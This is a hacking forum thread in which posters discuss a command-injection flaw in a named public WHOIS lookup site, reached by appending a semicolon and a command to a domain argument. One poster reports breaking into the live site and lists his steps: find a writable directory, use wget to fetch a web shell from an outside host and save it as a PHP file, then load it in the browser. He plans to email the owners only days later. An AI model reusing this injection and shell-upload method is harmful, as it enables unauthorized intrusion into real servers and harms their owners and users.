So I was browsing around looking for a good place for a wannabe hacker. I came across this, but wasn't given any information on how its performed. I have been looking elsewhere to find more information on this exploit and I think I would something, but not even sure if its correct. "whois.net is running a shell command, you can end one and start another. You'd do that by adding a semicolon to the Dig arguments."
So I tried such commands as website.com;ls -a and it actually works, but not like the below. Can anyone fill in the gaps?

Interesting, good find. You could now use wget and upload shell.
How did you find this vulnerability?
and btw, No links to vulnerable sites. |

I was merely googling random thing about hacking in general and came across it on a forum. I didn't really find anything someone else did all the work. The forum is dead though and the post a couple of months old. They never said what they did to accomplish this, so I was wondering if you knew what command they used?
only returns

I successfully uploaded a shell. Too easy.
When you've had your fun I'll email them about the vulnerability. All it takes is one malicious hacker to destroy that site, and seriously who would want to be malicious against a site like that. |

Hehe glad to see someone got some use out of it. As far I am concerned you can email them I will never figure out how to use it sadly. |

Quite simple, it's just a matter of knowing unix commands. If you don't know them, i advise you to install linux such as Ubuntu and have a play.
All I did here was
1. find a directory with write permissions
2. use wget [link to shell.txt] -O [directoryname/shell.php]
3. go to url of shell.php
I'll wait a couple days then email them. |
